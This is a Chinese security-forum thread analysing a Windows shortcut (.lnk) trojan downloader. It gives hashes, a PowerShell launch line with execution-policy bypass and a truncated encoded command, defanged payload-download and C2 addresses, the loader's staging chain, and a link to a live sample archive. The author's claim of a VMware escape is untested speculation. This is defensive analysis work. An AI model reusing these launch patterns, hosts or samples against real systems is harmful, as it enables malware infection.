疑似具有虚拟机逃逸 Windows.lnk ，TrojanDownloader/LNK.Agent.ie，火绒衍生物不杀

3306-1

来源：https://www.52pojie.cn/thread-2127651-1-1.html
分析：qq465881818
抄送：@火绒工程师

警告！！警告！警告
请仔细阅读下方描述

请有能力的，在安全围栏内
提取病毒恶意衍生物并分享

分析者描述

1. 此样本极有可能使用了未公开的 VMware Workstation 漏洞（虚拟机逃离技术），在虚拟机里调试时要小心

复制代码

1. 这是一款极具欺骗和隐藏误点击的远程 cc 端木马病毒，通过 windows 快捷方式隐藏 payload，pcdn 分发的，很容易中招的恶意病毒。
   
2. 有些恶意 LNK 会把 payload 藏在 ExtraData 块里（比如 EnvironmentVariableDataBlock 或 IconEnvironmentDataBlock），或者用超长命令行参数、混淆的 PowerShell 命令
   
3. 
   
4. 至于 vmtoolsd.exe 可能是在虚拟机运行时的本地提权和越狱虚拟机漏洞。病毒可以逃离虚拟机。
   
5. 因为我没得到这个漏洞利用方式，所以暂时这个文件还没分析和测试
   
6. 
   
7. 目前
   
8. 火绒等针对这个 Windows 快捷方式木马已经识别查杀，但是对释放的 rar 里的 C2 等文件没有查杀提示。

复制代码

1. vvaS.bin ( 1552 B, XOR 0x14 )
   
2.     │ 解密 → 32 位 x86 loader shellcode
   
3.     │ PEB 遍历 + 自定义哈希(*0x7F，NUL 参与) 解析 15 个 API
   
4.     ├── connect 134[.]122[.]130[.]202:8080  （备 :8888）
   
5.     ├── send "32\0"                (3 字节握手)
   
6.     ├── recv 收满 307,214 字节
   
7.     ├── 跳过 14 字节头 → XOR 0x9D 解出 307,200 (300 KiB)
   
8.     └── VirtualAlloc(RWX) → call
   
9.             ↓
   
10. stage2.bin ( 307,195 B )  ★ 本次分析对象
    
11. ├── [0x000-0x545] sRDI loader
    
12. │   PEB 遍历 + 哈希 ( *0x83，NUL 不参与 ) 解析 7 个 API
    
13. │   反射式加载 myAbc.dll（映射→重定位→IAT→TLS→DllMain）
    
14. │   lstrcmpiA 找到导出 "load"
    
15. └── [0x5BA-0x1A5BA] myAbc.dll ( PE32, 106,496 B )
    
16.     │
    
17.     ├── load(cfg)  → memcpy 覆盖配置占位符 " xiugaishiyong "
    
18.     ├── DllMain   → len(cfg) > 30 才启动（反沙箱）
    
19.     ├── 解析 21 个配置 key（p1/o1/t1/p2/o2/t2/v3/o3/t3/dd/cl/fz/bb/bz/jp/sx/bh/ll/dl/sh/kl）
    
20.     ├── CreateThread(0x10005E80) → CKernelManager + KCP/ARQ 上线
    
21.     └── 命令处理: HKCU\Console\0\d33f... 持久化，magic "godgodgodhm" 切载荷

复制代码

文件指纹
Windows.lnk（指纹不固定，重点是目标指向和具体参数）
大小: 8464 字节 : 8 KiB
CRC32: 02F7D652
XXH64: CABE25B04191471F
SHA256: 5693d2b4e7954716646baa12512fdad50a34c7d9af22a82b988bef5f0385158f
SHA3-256: b433e08aff135c337d803566cb4ffdea9aa15b4f35d98cdb39899e3af0431b64

说明.txt
指纹缺失

zljl1.zip
指纹缺失

火绒扫描（我自己的本地扫描结果）
6.0.11.3 版本
09-12 19:02 病毒库

2026/09/12 16:31:45
病毒防护
文件实时监控
发现病毒Troiader/LNK.Agent.ie, 已处理

病毒名称：TrojanDownloader/LNK.Agent.ie
病毒ID：9291FD1FA7E8548E
病毒路径：Windows.lnk
操作类型：执行
操作结果：已处理，删除文件

2026/09/12 17:20:38
病毒防护
病毒查杀
自定义扫描(手动执行)，发现1个风险项目

病毒库时间：2026-09-11 18:55
开始时间：2026-09-12 17:20
执行类型：手动执行
扫描类型：自定义扫描
总计用时：00:00:01
扫描对象：1
扫描文件：1
发现风险：1
已处理风险：1
病毒详情：

风险路径：Windows.lnk
病毒名：TrojanDownloader/LNK.Agent.ie
病毒ID：9291FD1FA7E8548E
处理结果：已处理，删除文件

2026/09/12 22:35:38
病毒防护
病毒查杀
自定义扫描(手动执行)，发现1个风险项目

病毒库时间：2026-09-12 19:02
开始时间：2026-09-12 22:35
执行类型：手动执行
扫描类型：自定义扫描
总计用时：00:00:12
扫描对象：300
扫描文件：58
发现风险：1
已处理风险：1
病毒详情：

风险路径：gmodule-2.0.dll
病毒名：Trojan/Generic!9E62AA962AEDF0C7
病毒ID：9E62AA962AEDF0C7
处理结果：已处理，删除文件

目标指向

1. "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ep Bypass -w h -EncodedCommand JABC ..... AEsA

复制代码

参数解码

1. JABC ..... AEsA（Base64，仅供参考）
   
2. 
   
3. 无法有效转储，帖子不支持，请在样本情况内阅读

复制代码

执行下载

1. http://134[.]122[.]128[.]145/说明.txt
   
2. http://134[.]122[.]128[.]145/zljl1.zip

复制代码

文本文档

1. 长短不一的俄语字母，由于无法
   
2. 获取源文件，此处仅供外观参考
   
3. 
   
4. АБВГДЕЁЖЗИЙК
   
5. ЛМНОПРСТУФХЦЧШЩЪЫ
   
6. ЬЭЮЯабвг
   
7. деёжзийклмноп
   
8. рсту
   
9. фхцчшщъ
   
10. ыьэюя
    
11. .....

复制代码

压缩内容

1. zljl1.zip
   
2. 　　├── 1.exe　＃2025-09-11 08:00， 77 KB　＜＜＜可执行程序
   
3. 　　├── 2.exe　＃2025-09-11 08:00， 77 KB　＜＜＜可执行程序，引
   
4. 　　├── 2.ico　＃2025-12-06 00:30， 17 KB
   
5. 　　├── 2.txt　＃2026-03-23 16:08，  1 KB
   
6. 　　├── 3.exe　＃2025-09-11 08:00， 77 KB　＜＜＜可执行程序，引
   
7. 　　├── 3.ico　＃2025-12-06 00:30， 17 KB
   
8. 　　├── 3.pdf　＃2024-09-11 08:33，825 KB
   
9. 　　├── 4.ico　＃2025-12-06 00:30， 17 KB
   
10. 　　├── 4.pdf　＃2024-09-11 08:33，825 KB　＜＜＜引
    
11. 　　├── 6.ico　＃2025-12-06 00:30， 17 KB
    
12. 　　├── F.ico　＃2025-12-06 00:30， 17 KB
    
13. 　　├── G.ico　＃2025-12-06 00:30， 17 KB
    
14. 　　├── H.ico　＃2025-12-06 00:30， 17 KB
    
15. 　　├── S.ico　＃2025-12-06 00:30， 17 KB
    
16. 　　├── fg.exe　＃2025-09-11 08:00， 77 KB　＜＜＜可执行程序，引
    
17. 　　├── 85.exe　＃2025-09-11 08:00， 77 KB　＜＜＜可执行程序，引
    
18. 　　├── fg.ico　＃2025-12-06 00:30， 17 KB
    
19. 　　├── HH.pdf　＃2024-09-11 08:33，825 KB　＜＜＜引
    
20. 　　├── TT.exe　＃2025-09-11 08:00， 77 KB　＜＜＜可执行程序，引
    
21. 　　├── MMF.ico　＃2026-03-22 22:05， 25 KB
    
22. 　　├── 222.txt　＃2026-03-23 16:08，  1 KB
    
23. 　　├── BBB.ico　＃2026-03-22 22:05， 25 KB
    
24. 　　├── dda.ico　＃2026-03-22 22:05， 25 KB
    
25. 　　├── oid.pdf　＃2024-09-11 08:33，825 KB　＜＜＜引
    
26. 　　├── SER.pdf　＃2024-09-11 08:33，825 KB　＜＜＜引
    
27. 　　├── TYU.exe　＃2025-09-11 08:00， 77 KB　＜＜＜可执行程序，引
    
28. 　　├── UTR.exe　＃2025-09-11 08:00， 77 KB　＜＜＜可执行程序，引
    
29. 　　├── YUA.exe　＃2025-09-11 08:00， 77 KB　＜＜＜可执行程序，引
    
30. 　　├── pcre.dll　＃2019-09-01 02:10，404 KB
    
31. 　　├── intl.dll　＃2019-09-01 02:11， 95 KB
    
32. 　　├── help.pdf　＃2024-09-11 08:33，825 KB　＜＜＜引
    
33. 　　├── hggs.ico　＃2026-03-22 22:05， 25 KB　＜＜＜引
    
34. 　　├── KIFU.exe　＃2025-09-11 08:00， 77 KB　＜＜＜可执行程序
    
35. 　　├── llod.exe　＃2025-09-11 08:00， 77 KB　＜＜＜可执行程序，引
    
36. 　　├── vvaS.bin　＃2026-07-31 12:30，  2 KB
    
37. 　　├── XIAO.pdf　＃2024-09-11 08:33，825 KB　＜＜＜引
    
38. 　　├── KISDF.exe　＃2025-09-11 08:00， 77 KB　＜＜＜可执行程序，引
    
39. 　　├── 3 (2).exe　＃2025-09-11 08:00， 77 KB　＜＜＜可执行程序，引
    
40. 　　├── STYUU.exe　＃2025-09-11 08:00， 77 KB　＜＜＜可执行程序，引
    
41. 　　├── ssafgt.ico　＃2026-03-22 22:05， 25 KB　
    
42. 　　├── lpinfos.dll　＃2019-09-01 02:10，   34 KB
    
43. 　　├── chgport.exe　＃2024-09-19 18:05，2,274 KB　＜＜＜可执行程序
    
44. 　　├── vmtools.dll　＃2019-09-01 02:10，   822 KB
    
45. 　　├── glib-2.0.dll　＃2019-09-01 02:11，1,169 KB
    
46. 　　├── msvcp140.dll　＃2025-06-11 05:00，  545 KB
    
47. 　　├── vmtoolsd.exe　＃2019-09-01 02:10，   92 KB　＜＜＜疑似虚拟机逃逸
    
48. 　　├── Setuplcon.ico　＃2026-03-22 22:05，   25 KB
    
49. 　　├── MyProg-x64.exe　＃2025-09-11 08:00，   77 KB　＜＜＜可执行程序，引
    
50. 　　├── gmodule-2.0.dll　＃2026-09-03 15:35，  131 KB
    
51. 　　├── gobject-2.0.dll　＃2019-09-01 02:10，  296 KB
    
52. 　　├── vcruntime140.dll　＃2025-0204 16:38，  118 KB
    
53. 　　├── vcruntime140_1.dll　＃2025-02-04 16:38， 49 KB　
    
54. 　　├── LoggerCollector.dll　＃2026-09-08 21:54，180 KB
    
55. 　　└── Setuplcon - 副本.ico　＃2026-03-22 22:05， 25 KB
    
56. 
    
57. ｘ注：标记为（引）文件，代表文件引用
    
58. 　　　在压缩视角里，这些文件指纹相同

复制代码

运行提示

1. 1.exe
   
2. 
   
3. ---------------------------
   
4. Hello
   
5. ---------------------------
   
6. Welcome to My Program.
   
7. 
   
8. (This EXE was compiled for the x64 architecture,)
   
9. ---------------------------
   
10. 确定   
    
11. ---------------------------

复制代码

1. 1.exe
   
2. 
   
3. ---------------------------
   
4. Goodbye
   
5. ---------------------------
   
6. Thank you for using My Program.
   
7. 
   
8. (You can uninstall this by going to Add/Remove Programs in Control Panel.)
   
9. ---------------------------
   
10. 确定   
    
11. ---------------------------

复制代码

恶意载荷
https://s.threatbook.com/report/url/5e14d2d70301f022ef0d4ce25d7ec8c5
https://s.threatbook.com/report/url/93d821c39c55cf1d46128c5e996460ec

Ｃ２之一
https://s.threatbook.com/report/url/ecfb48849aefb8aab1bce472eb8332cb
https://s.threatbook.com/report/url/b8ea79c0f2f4b39da9bd0cb0fe787377

样本情况
https://ata.360.net/report/865874161510400
https://virusscan.jotti.org/zh-CN/filescanjob/7hos2atj67
https://tix.qq.com/search/single?keyword=d2b7535662dc3def9cf7258c0c55c838
https://www.maldun.com/analysis/YXNkZmRzZmFkc2YxMzQ4MzYxZHNmYXNkZmFzZGY=/
https://sandbox.dbappsecurity.com.cn/report/e5936164-7d5d-4993-978b-483f95e09a0b/flat
https://sandbox.ti.qianxin.com/sandbox/page/detail?type=file&id=AaCU0MiZmTITNisAQ0Bu
https://fenxi.antiy.cn/#/entirety/file/searchResult?hash=d2b7535662dc3def9cf7258c0c55c838
https://virus.cverc.org.cn/#/entirety/file/searchResult?hash=d2b7535662dc3def9cf7258c0c55c838
https://metadefender.com/results/file/bzI2MDkxMmYtMldEbDhnZFJwYUNVVDhWTE13_mdaas/overview
https://www.virscan.org/report/3e059a8fef5ffad7547725238e06a6dce0a10089ccd301d2f14f7cf45461d530
https://www.virustotal.com/gui/file/3e059a8fef5ffad7547725238e06a6dce0a10089ccd301d2f14f7cf45461d530
https://s.threatbook.com/report/file/3e059a8fef5ffad7547725238e06a6dce0a10089ccd301d2f14f7cf45461d530
https://sandbox.qianxin.com/tq/report/toNewReport.do?rid=4b8682c4a38deac67d97e42cf3b0f99d&sk=26040492
https://opentip.kaspersky.com/3E059A8FEF5FFAD7547725238E06A6DCE0A10089CCD301D2F14F7CF45461D530/results?tab=upload

完整情况（相对完整，重新打包的自解诱导）
https://ata.360.net/report/865962944468992
https://virusscan.jotti.org/zh-CN/filescanjob/0wy8or6oho
https://tix.qq.com/search/single?keyword=b98605e011d192ae414588870af2bbd1
https://sandbox.ti.qianxin.com/sandbox/page/detail?type=file&id=AaCWFr2c3vNfIaDFMftP
https://sandbox.dbappsecurity.com.cn/report/b703cc13-6a30-4db8-8d9d-1fb4030dfeca/flat
https://fenxi.antiy.cn/#/entirety/file/searchResult?hash=b98605e011d192ae414588870af2bbd1
https://virus.cverc.org.cn/#/entirety/file/searchResult?hash=b98605e011d192ae414588870af2bbd1
https://metadefender.com/results/file/bzI2MDkxMnpiNWI2QlQtRHE1MlFXdXh2a2ZS_mdaas/overview
https://www.virscan.org/report/2de286380ae7740ea882bcb12e8c8bf2bc8c24e3cad117cee7458009e888d79c
https://www.virustotal.com/gui/file/2de286380ae7740ea882bcb12e8c8bf2bc8c24e3cad117cee7458009e888d79c
https://s.threatbook.com/report/file/2de286380ae7740ea882bcb12e8c8bf2bc8c24e3cad117cee7458009e888d79c
https://sandbox.qianxin.com/tq/report/toNewReport.do?rid=114f82cc8b1319ff52947d59ce5423f6&sk=95057273
https://opentip.kaspersky.com/2DE286380AE7740EA882BCB12E8C8BF2BC8C24E3CAD117CEE7458009E888D79C/results?tab=upload

样本（自解诱导）
提取码：无，解压码：infected

1. http://4275.com/lmhkzc?unzip=infected

复制代码

莒县小哥

hansyu

Norton 解压
____________________________

详情

威胁名称: LNK:Powershell-B [Trj]
威胁类型: 特洛伊木马 - 这类威胁会伪装成其他东西 (如图片、文档或其他文件)，诱骗您运行它，进而感染您的计算机。
状态: 已移到 隔离区
选项: 报告误检
检测程序: 自动防护
在电脑上来自: 2026/9/12 下午7:12
上次使用时间: 2026/9/12 下午7:12
启动项: 否

未知
Norton 社区中使用了此文件的用户数未知。

极新
此文件已于 2 小时前 发行。

高
此文件具有高风险。
____________________________

来源

下载自: http://zone.identifier.invalid
____________________________

活动

路径 | 类型 | 状态
C:\Users\Anna\Desktop\4\Windows.exe | 文件 | 已修复

心醉咖啡

360

scottxzt

Trojan:Win32/Wacatac.H!ml

3306-1

hansyu 发表于 2026-9-12 19:12
Norton 解压
____________________________

已更新至相对完整样本包，方便重新下载测试吗

hansyu

3306-1 发表于 2026-9-12 23:15
已更新至相对完整样本包，方便重新下载测试吗

Norton 扫描 4x

威胁名称: LNK:Powershell-B [Trj]
C:\Users\Anna\Desktop\1\Windows zljll\Windows.exe | 文件 | 已修复

威胁名称: Win32:MalwareX-gen [Inj]
C:\Users\Anna\Desktop\1\Windows zljll\LoggerCollector.dll | 文件 | 已修复

威胁名称: Win64:MalwareX-gen [Trj]
C:\Users\Anna\Desktop\1\Windows zljll\gmodule-2.0.dll | 文件 | 已修复

威胁名称: Win32:Agent-BDWB [Drp]
C:\Users\Anna\Desktop\1\Windows zljll\stage2.bin | 文件 | 已修复

3306-1

莒县小哥 发表于 2026-9-12 18:22

小哥方便复测吗，样本包更新了，加入了相对完整衍生物内容

莒县小哥

3306-1 发表于 2026-9-13 06:31
小哥方便复测吗，样本包更新了，加入了相对完整衍生物内容

卡巴

3306-1

scottxzt 发表于 2026-9-12 21:59
Trojan:Win32/Wacatac.H!ml

样本在昨晚１１点更新，加入了相对完整衍生物，大佬方便复测吗